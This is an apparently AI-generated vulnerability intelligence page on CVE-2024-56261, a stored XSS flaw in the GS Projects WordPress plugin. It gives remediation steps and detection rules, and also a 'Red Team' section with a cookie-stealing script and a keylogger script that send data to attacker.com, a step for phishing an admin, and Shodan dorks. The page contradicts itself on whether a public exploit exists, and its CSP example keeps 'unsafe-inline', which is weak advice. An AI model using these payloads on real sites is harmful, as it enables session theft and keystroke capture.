☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gs plugins logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-56261

CVE-2024-56261 Cross-Site Scripting in Gs plugins
📅 PUBLISHED: 2025-01-02 12:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56261 is a Stored Cross-Site Scripting (XSS) vulnerability in the GS Plugins Project Showcase WordPress plugin (slug: gs-projects), affecting versions up to and including 1.1.1. This vulnerability allows an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject arbitrary JavaScript into the plugin’s project entries. When other users or visitors view the compromised project, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress and the plugin’s popularity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – An attacker must have an account with project editing capabilities (e.g., Editor role).
  • User Interaction (UI): Required – The victim must visit the compromised project page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and the plugin’s use in business portfolios increases the real-world impact.

Deep Dive & Mechanics

The vulnerability exists in the gs-projects plugin’s project creation and editing functionality. The plugin fails to sanitize or escape user-supplied input in fields such as project title, description, or custom fields before storing them in the database. When the project is rendered on the frontend, the unsanitized input is output directly into the HTML, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses functions like echo $project_title; without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses_post()).

Attack Flow:

  1. Attacker logs in with an account that has permission to create/edit projects (e.g., Editor).
  2. Attacker creates a new project or edits an existing one, injecting a malicious payload into a text field (e.g., <script>alert('XSS')</script>).
  3. The payload is stored in the WordPress database.
  4. When any user (including administrators) visits the project page, the payload executes in their browser.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to authenticated users with project editing capabilities, but the impact can spread to all site visitors.

Vulnerable vs. Patched Code

Vulnerable Code (gs-projects <= 1.1.1):

// In a template file, e.g., single-gs-project.php
echo $project->post_title; // Unsanitized output

Patched Code (Hypothetical):

// Properly escaped output
echo esc_html( $project->post_title );

The patched version would apply WordPress escaping functions to all user-controlled output fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress installation with GS Projects plugin <= 1.1.1.
  • An account with Editor or Administrator privileges.

Steps:

  1. Log in to WordPress as an Editor.
  2. Navigate to Projects > Add New.
  3. In the "Project Title" field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Publish the project.
  5. Craft a spear-phishing email or social engineering message to lure an administrator to view the project.
  6. When the admin visits the project page, the script executes, sending their session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual project creation or editing activity by non-admin users.
  • Look for project titles or descriptions containing <script> tags or event handlers (e.g., onload, onerror).
  • Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to wp-admin/post.php.

Hardening:

  • Immediately update the plugin to a patched version once available.
  • If no patch is available, disable the plugin or restrict project editing capabilities to only trusted administrators.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact:
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
    
  • Use WordPress security plugins (e.g., Wordfence, Sucuri) to add an additional layer of input sanitization.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to unknown or suspicious domains containing cookie data in the URL (e.g., GET /steal?cookie=...).
  • Unusual POST requests to /wp-admin/post.php with action=editpost and payloads containing <script> tags.

Host IOCs:

  • Database entries in wp_posts table where post_title or post_content contains <script> tags.
  • Presence of JavaScript files or obfuscated code in the wp-content/uploads/ directory (if file upload is also vulnerable).

File IOCs:

  • Modified plugin files in /wp-content/plugins/gs-projects/ (though this is less likely for stored XSS).

Detection Engineering

YARA Rule

rule CVE_2024_56261_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in GS Projects plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56261"
    strings:
        $xss_payload = /<script[\s>]/ nocase
        $xss_event = /on\w+\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-56261 - Stored XSS in GS Projects Plugin
id: 8a3f7c2e-5d1b-4a9f-8c3e-2b1d6f7a8c9e
status: experimental
description: Detects potential stored XSS payloads in WordPress post data
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in post content by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56261 - Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Restrict project editing capabilities to only the most trusted administrators.
  3. Audit existing projects for any suspicious content (e.g., <script> tags, event handlers).

Long-Term Fix:

  • Apply the official patch once released by GS Plugins.
  • If no patch is forthcoming, consider replacing the plugin with an alternative that is actively maintained.

Compensating Controls:

  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Enforce strict Content Security Policy (CSP) headers.
  • Use WordPress security plugins to add input validation and output escaping.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Project Showcase"
http.html:"gs-projects"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56261/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.